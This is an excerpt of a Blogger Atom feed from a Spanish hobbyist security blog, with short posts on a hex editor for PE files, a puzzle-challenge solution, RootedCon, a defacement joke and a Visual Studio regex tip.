exe'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5079734912608527729</id><published>2011-02-26T19:41:00.000+01:00</published><updated>2011-02-26T19:42:04.813+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='Formato PE'/><title type='text'>010 Editor, editor hex perfecto para los exe</title><content type='html'>&lt;p align="justify"&gt;  
&lt;a href="http://www.sweetscape.com/010editor/"&gt;010 Editor&lt;/a&gt; Es un editor hexadecimal que admite el uso de plantillas, es perfecto para ver y modificar los valores del formato PE de un fichero. Por ejemplo:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/TWjaS6PB4-I/AAAAAAAAAQM/9NHuGlMD9jo/s1600-h/010%20Editor%5B3%5D.png"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto; padding-top: 0px" title="010 Editor" border="0" alt="010 Editor" src="http://lh6.ggpht.com/_FGFE7zLOsQk/TWjaTu4rTaI/AAAAAAAAAQQ/rS-NRzaTy3Q/010%20Editor_thumb%5B1%5D.png?imgmax=800" width="398" height="226" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Una vez descargada &lt;a href="http://www.sweetscape.com/download/010EditorInstaller.exe"&gt;esta versión trial&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Es necesario &lt;a href="http://www.sweetscape.com/010editor/templates/"&gt;descargarse las plantillas&lt;/a&gt; que necesitemos, en este caso las de el formato ejecutable. Hay dos la que mas me ha gustado a mi ha sido la segunda:   
&lt;a href="http://www.sweetscape.com/010editor/templates/files/EXETemplate2.bt"&gt;http://www.sweetscape.com/010editor/templates/files/EXETemplate2.bt&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Por comodidad mejor ponerla en el directorio de plantillas:   
&lt;em&gt;C:\Users\%user%\Documents\SweetScape\010 Templates&lt;/em&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Después hay que ir al menú templates &amp;gt; Edit templates list... y añadir la plantilla:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/TWjaUQdSLPI/AAAAAAAAAQU/MonXQdauLHA/s1600-h/Sin%20t%C3%83-tulo%5B4%5D.png"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="Sin tÃ-tulo" border="0" alt="Sin tÃ-tulo" src="http://lh5.ggpht.com/_FGFE7zLOsQk/TWjaU43dp-I/AAAAAAAAAQY/ZO8sTJr_3Bo/Sin%20t%C3%83-tulo_thumb%5B2%5D.png?imgmax=800" width="397" height="314" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;De este modo cada vez que abramos un ejecutable se cargara la plantilla y veremos los campos del PE. &lt;/p&gt;  &lt;p align="justify"&gt;A disfrutar!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5079734912608527729?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5079734912608527729/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/010-editor-editor-hex-perfecto-para-los.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5079734912608527729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5079734912608527729'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/010-editor-editor-hex-perfecto-para-los.html' title='010 Editor, editor hex perfecto para los exe'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_FGFE7zLOsQk/TWjaTu4rTaI/AAAAAAAAAQQ/rS-NRzaTy3Q/s72-c/010%20Editor_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5539909552539634531</id><published>2011-02-26T03:53:00.002+01:00</published><updated>2011-02-26T03:55:40.453+01:00</updated><title type='text'>Retorno</title><content type='html'>&lt;p align="justify"&gt;Queridos lectores hace mucho tiempo que no escribo en el blog la verdad es que al pobre lo tengo abandonado. Siento la necesidad de daros una explicación de por qué esto es así.&lt;/p&gt;  &lt;p align="justify"&gt;En parte es culpa de la falta de tiempo, entre el trabajo, estudios, vida universitaria en el extranjero ;) no me sobra demasiado tiempo para dedicarlo a aprender cosas nuevas y compartirlas con vosotros.&lt;/p&gt;&lt;p align="justify"&gt;Otra razón es que cuando pienso en escribir sobre algo se me pasa por la cabeza "¿esto es muy básico?", "esto ya está dicho en mil sitios mas", "esto no le interesa a la gente", etc... Y al final termino por no escribir sobre ello.&lt;/p&gt; &lt;p align="justify"&gt;Por último había perdido un poco la pasión que tenía antes, no era como hace unos años cuando leía con ansia textos sobre malware. Estaba menos interesado en dedicar tiempo a esto y prefería gastarlo en otras cosas.&lt;/p&gt; &lt;p align="justify"&gt;    
Pero en los últimos meses en los que he estado mas alejado de la informática han surgido en mi unas ganas increíbles de aprender cosas nuevas, de dedicar tiempo a profundizar, entender, probar cosas de seguridad informática. incluso ganas de volver a programar!! Si, se que suena como si estuviera loco, probablemente lo esté. &lt;/p&gt; &lt;p align="justify"&gt;Además pienso que el tiempo no es un problema, si hay ganas el tiempo se saca de donde se pueda (véase la hora de la entrada).&lt;/p&gt; &lt;p align="justify"&gt;Así que para saciar estas ansias de conocimiento he decidido dedicar todos los días unas horas a la informática mas pura y dura. El tema elegido para profundizar en él es el formato PE. La intención es leer documentación sobre el mismo, y utilizarla para ver como se puede trastear los ejecutables para sacarles el máximo provecho, modificar ejecutables a mano, hacer encriptadores, protectores, etc...&lt;/p&gt; &lt;p align="justify"&gt;Utilizare el blog para compartir con vosotros el proceso de aprendizaje, documentos sobre el tema, herramientas, código, todo lo que me encuentre por el camino. &lt;/p&gt;   &lt;p align="justify"&gt;Nos vemos pronto ;)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5539909552539634531?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5539909552539634531/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/retorno.html#comment-form' title='11 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5539909552539634531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5539909552539634531'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2011/02/retorno.html' title='Retorno'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7644851956125611693</id><published>2010-05-03T22:32:00.003+02:00</published><updated>2011-02-26T11:58:19.182+01:00</updated><title type='text'>A Spotify no le gusta OllyDbg</title><content type='html'>&lt;p align="justify"&gt;Andaba yo tan feliz escuchando música en mi ordenador con Spotify cuando me dispuse a abrir OllyDbg para seguir los &lt;a href="http://hacking-avanzado.blogspot.com/"&gt;excelentes post de Eduardo Abril&lt;/a&gt; y ZAS! adiós Spotify. Lo vuelvo a arrancar y mira tu:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/S98yvl_waAI/AAAAAAAAAPw/cYmeUTXAzVc/s1600-h/image%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_FGFE7zLOsQk/S98ywKh7hMI/AAAAAAAAAP0/f3gZvtaBmcY/image_thumb%5B1%5D.png?imgmax=800" width="339" height="150" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;En la última actualización han incorporado medidas antidebug. Panda de paranoicos… ¿quien querría debugear Spotify para escuchar música sin publicidad? Y ahora ¿cómo voy a escuchar la mejor música y trastear con el Olly!!?&lt;/p&gt;  &lt;p align="justify"&gt;Habrá que desempolvar el viejo transistor :)   &lt;br /&gt;Saludos!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-7644851956125611693?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/7644851956125611693/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/05/spotify-no-le-gusta-ollydbg.html#comment-form' title='12 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7644851956125611693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/7644851956125611693'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/05/spotify-no-le-gusta-ollydbg.html' title='A Spotify no le gusta OllyDbg'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_FGFE7zLOsQk/S98ywKh7hMI/AAAAAAAAAP0/f3gZvtaBmcY/s72-c/image_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-584840753895906467</id><published>2010-04-30T22:32:00.001+02:00</published><updated>2010-04-30T22:32:52.187+02:00</updated><title type='text'>Gané el desafío 11 de ESET</title><content type='html'>&lt;p align="justify"&gt;Leyendo RSS (los cuales me quitan gran parte de mi tiempo libre) me enteré de este nuevo reto del laboratorio ESET Latinoamérica:   &lt;br /&gt;&lt;a title="http://blogs.eset-la.com/laboratorio/2010/04/27/desafio-11-eset/" href="http://blogs.eset-la.com/laboratorio/2010/04/27/desafio-11-eset/"&gt;http://blogs.eset-la.com/laboratorio/2010/04/27/desafio-11-eset/&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Empiezas, te picas y al final no te lo quitas de la cabeza hasta que no se resuelve el acertijo. Esta vez hubo suerte y fui el primero en resolverlo :)   &lt;br /&gt;    &lt;br /&gt;Aquí puede verse la solución que ha dado ESET:    &lt;br /&gt;&lt;a title="http://blogs.eset-la.com/laboratorio/2010/04/30/solucion-desafio-11-de-eset/" href="http://blogs.eset-la.com/laboratorio/2010/04/30/solucion-desafio-11-de-eset/"&gt;http://blogs.eset-la.com/laboratorio/2010/04/30/solucion-desafio-11-de-eset/&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Ya que estamos pongo la mía tal cual se la envíe a ellos.    &lt;br /&gt;Saludos!&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Buenas,     &lt;br /&gt;expongo a continuación lo que creo que es la solución.&lt;/p&gt;    &lt;p align="justify"&gt;Lo primero que hice fue acceder al enlace que nos daban:     &lt;br /&gt;&lt;a href="http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/"&gt;http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/&lt;/a&gt;      &lt;br /&gt;Al acceder al mismo vi que se mostraba un error 403 forbidden con solo texto. &lt;/p&gt;    &lt;p align="justify"&gt;Como sabia que había gato encerrado probé varias cosas. Mire el código fuente por si se había dejado alguna pista, examiné las cabeceras, nunca se sabe… &lt;/p&gt;    &lt;p align="justify"&gt;Tras un periodo de reflexión llegué a la conclusión de que al ser un reto relacionado con el malware es posible que solo respondiera con un exploit ante determinados User-Agents antiguos, así que probé con distintos valores. Así conseguí descubrir que con todos los UsersAgent de los navegadores mas conocidos se devolvía la misma página de 403 con solo texto, pero cuando desaparecía el User-Agent o contaba con un valor aleatorio se mostraba una página 404 personalizada, en html, siguiendo la estética del blog.&lt;/p&gt;    &lt;p align="justify"&gt;Tras muchos intentos y tras leer alguna pista en los comentarios &lt;img alt=";)" src="http://blogs.eset-la.com/laboratorio/wp-includes/images/smilies/icon_wink.gif" /&gt; me dio por comparar la página 404 que da el blog de eset con esa que se mostraba. Y en efecto no eran iguales. Así llegue a encontrar un script que no se cargaba en la página 404 normal. Estaba en la siguiente URL:      &lt;br /&gt;&lt;a href="http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/sendus.js"&gt;http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/sendus.js&lt;/a&gt;      &lt;br /&gt;El contenido de la misma era este:      &lt;br /&gt;lrreaaisbtoeoo@t&lt;/p&gt;    &lt;p align="justify"&gt;A primera vista parecía casi una cadena válida pero le faltaba algo, probé con Rot13 y todos los XOR posibles pero nada no había forma. Así que pregunte en los comentarios y recibí la pista definitiva, “era una dirección de correo”. Sabiendo esto pensé en algún tipo de cifrado que jugaba con la transposición de caracteres. Así que conté los caracteres, 16, buen número. Después intentando hacer algún tipo absurdo de criptoanálisis me dio por dividir la cadena en dos partes, y hacer lo mismo con el resultado, logrando sorprendentemente el objetivo buscado:     &lt;br /&gt;lrre      &lt;br /&gt;aais      &lt;br /&gt;btoe      &lt;br /&gt;oo@t&lt;/p&gt;    &lt;p align="justify"&gt;Leyendo de arriba a abajo: laboratorio eset     &lt;br /&gt;Gracias por el reto. Un saludo!&lt;/p&gt;&lt;/blockquote&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-584840753895906467?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/584840753895906467/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/04/gane-el-desafio-11-de-eset.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/584840753895906467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/584840753895906467'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/04/gane-el-desafio-11-de-eset.html' title='Gané el desafío 11 de ESET'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-6798316879876657203</id><published>2010-02-11T12:35:00.001+01:00</published><updated>2010-02-11T12:35:17.982+01:00</updated><title type='text'>Regalo de la Rooted CON</title><content type='html'>&lt;p&gt;&lt;a href="http://lh6.ggpht.com/_FGFE7zLOsQk/S3PrctH8RpI/AAAAAAAAAPI/L6wE08DTwnA/s1600-h/SDC10705%5B3%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="SDC10705" border="0" alt="SDC10705" src="http://lh4.ggpht.com/_FGFE7zLOsQk/S3PrdN6svJI/AAAAAAAAAPM/KF9U1VDpMeY/SDC10705_thumb%5B1%5D.jpg?imgmax=800" width="319" height="243" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Regalo de la organización de la Rooted CON a los 100 primeros registrados. Una bonita camiseta jeje.&lt;/p&gt;  &lt;p&gt;Que detallistas :)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-6798316879876657203?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/6798316879876657203/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/02/regalo-de-la-rooted-con.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6798316879876657203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6798316879876657203'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2010/02/regalo-de-la-rooted-con.html' title='Regalo de la Rooted CON'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_FGFE7zLOsQk/S3PrdN6svJI/AAAAAAAAAPM/KF9U1VDpMeY/s72-c/SDC10705_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-2758471414407363583</id><published>2009-12-12T15:50:00.001+01:00</published><updated>2009-12-12T15:50:45.753+01:00</updated><title type='text'>RootedCon</title><content type='html'>&lt;p align="justify"&gt;Seguro que ya lo habéis escuchado pero por si acaso os aviso.&lt;/p&gt;  &lt;p align="justify"&gt;Los días 18 (jueves laborable), 19(viernes festivo) y 20 de Marzo se va a celebrar la RootedCon en Madrid. &lt;/p&gt;  &lt;p align="justify"&gt;¿Qué es la RootedCon? &lt;a href="http://www.rootedcon.es/que-es-rooted-con.html"&gt;Cito&lt;/a&gt;:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align="justify"&gt;Lo primero de todo, el congreso se compondrá de &lt;b&gt;conferencias altamente técnicas&lt;/b&gt;. No queremos humo; &lt;b&gt;buscamos fomentar el conocimiento&lt;/b&gt;, y por ello no nos contentamos con saber que existen “cosas”: queremos saber cómo son y por qué funcionan así.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align="justify"&gt;Resumiendo: 3 días escuchando a los mejores (sexy pandas incluidos) hablar sobre temas muy interesantes por el ridículo precio de 25€ si eres estudiante y te registrar antes de enero. Realmente increíble. &lt;a href="http://www.rootedcon.es/rooted-con-2010/registro.html"&gt;Registro y precios&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Yo asistiré con algún compañero a pasar 3 días a tope.   &lt;br /&gt;Por allí nos veremos, ¿no?&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-2758471414407363583?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/2758471414407363583/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/rootedcon.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2758471414407363583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/2758471414407363583'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/rootedcon.html' title='RootedCon'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-6912266050136731466</id><published>2009-12-11T19:56:00.001+01:00</published><updated>2009-12-11T19:56:19.842+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Humor¿?'/><title type='text'>Curioso deface</title><content type='html'>&lt;p align="left"&gt;No es el típico HACKEY BY -[@Turk15h H4ck3r]-&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://4.bp.blogspot.com/_ne8CYXzj1tA/SyJY0rRlf6I/AAAAAAAAAjM/rQPYp8U9tNE/s1600/Speedy1-p0wned.jpg" width="394" height="326" /&gt;&amp;#160; &lt;br /&gt;Que pongas el microfiltro en el teléfono so plasta!&lt;/p&gt;  &lt;p align="left"&gt;El tipo se cargo advance.com.ar seguro que fue cosa de los DNS.&lt;/p&gt;  &lt;p align="left"&gt;Visto en &lt;a href="http://blog.segu-info.com.ar/2009/12/deface-la-pagina-de-advance-telefonica.html?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+NoticiasSeguridadInformatica+%28Noticias+de+Seguridad+Inform%C3%A1tica%29&amp;amp;utm_content=Google+International"&gt;segu-info&lt;/a&gt;.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-6912266050136731466?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/6912266050136731466/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/curioso-deface.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6912266050136731466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/6912266050136731466'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/curioso-deface.html' title='Curioso deface'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_ne8CYXzj1tA/SyJY0rRlf6I/AAAAAAAAAjM/rQPYp8U9tNE/s72-c/Speedy1-p0wned.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-5111499392888181375</id><published>2009-12-01T22:24:00.001+01:00</published><updated>2009-12-01T22:24:01.764+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='programación'/><title type='text'>Visual Studio Powa!</title><content type='html'>&lt;p align="justify"&gt;Problema:   &lt;br /&gt;Tengo una mega-lista de 150 valores sacados del HTML de una página:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJX1IguqI/AAAAAAAAAOk/bJ8tFRRfs6c/s1600-h/clip_image002%5B6%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="clip_image002" border="0" alt="clip_image002" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJYxjIRvI/AAAAAAAAAOo/aD1HmBr-P6w/clip_image002_thumb%5B3%5D.jpg?imgmax=800" width="399" height="317" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Y quiero convertirlo en una función de C# que me transforme el texto al valor. Pues nada más fácil que aprovechar la funcionalidad de Visual Studio de reemplazar, con las expresiones regulares y las “Tagged Expresion”:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJZaFCi4I/AAAAAAAAAOs/CfXpolhmlfk/s1600-h/clip_image004%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="clip_image004" border="0" alt="clip_image004" src="http://lh6.ggpht.com/_FGFE7zLOsQk/SxWJZ2hp0eI/AAAAAAAAAOw/Nv4AmpH_b6U/clip_image004_thumb%5B1%5D.jpg?imgmax=800" width="304" height="321" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Y así esto:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SxWJad2xOAI/AAAAAAAAAO0/zdgo5h8DePU/s1600-h/clip_image006%5B5%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="clip_image006" border="0" alt="clip_image006" src="http://lh3.ggpht.com/_FGFE7zLOsQk/SxWJa_jm91I/AAAAAAAAAO4/KeyWrfdV68E/clip_image006_thumb%5B2%5D.jpg?imgmax=800" width="412" height="90" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Se convierte en esto otro:&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJbTGqnKI/AAAAAAAAAO8/z76nJ3rP5nw/s1600-h/clip_image008%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="clip_image008" border="0" alt="clip_image008" src="http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJcOsf08I/AAAAAAAAAPA/nILMJWPEQSw/clip_image008_thumb%5B1%5D.jpg?imgmax=800" width="393" height="337" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Hay que corregir algún fallo, como esos espacios en el case, pero nos hemos ahorrado un buen tiempo, ¿no?&lt;/p&gt;  &lt;p align="justify"&gt;Esto es muy útil cuando deseamos reformatear un texto, por ejemplo extraer los pares de valores entre corchetes, cambiarlos de lugar y añadir unas comas. Seguro que alguna vez os es útil.&lt;/p&gt;  &lt;p align="justify"&gt;Saludos!   &lt;br /&gt;&lt;a href="http://www.codeproject.com/KB/dotnet/ReplaceTag.aspx"&gt;Más información sobre el tema.&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4816745650066414070-5111499392888181375?l=el-blog-de-thor.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://el-blog-de-thor.blogspot.com/feeds/5111499392888181375/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/visual-studio-powa.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5111499392888181375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4816745650066414070/posts/default/5111499392888181375'/><link rel='alternate' type='text/html' href='http://el-blog-de-thor.blogspot.com/2009/12/visual-studio-powa.html' title='Visual Studio Powa!'/><author><name>Thor</name><uri>http://www.blogger.com/profile/04619209094503908585</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_FGFE7zLOsQk/SxWJYxjIRvI/AAAAAAAAAOo/aD1HmBr-P6w/s72-c/clip_image002_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4816745650066414070.post-7482027031019371558</id><published>2009-11-21T01:02:00.001+01:00</published><updated>2009-11-21T01:02:32.987+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Humor¿?'/><title type='text'>Qué arte!</title><content type='html'>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_FGFE7zLOsQk/SwcuFW_ne-I/AAAAAAAAAOc/iaMU4mQC1jw/s1600-h/fregado%5B8%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="fregado" border="0" alt="fregado" src="http://lh4.ggpht.com/_FGFE7zLOsQk/SwcuF09xlPI/AAAAAAAAAOg/RCwu2BCrrlw/fregado_thumb%5B6%5D.png?imgmax=800" width="411" height="133" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p align="justify"&gt;Transcripción: “&lt;em&gt;ayuda nesesito hacer un virus bueno para fregar a 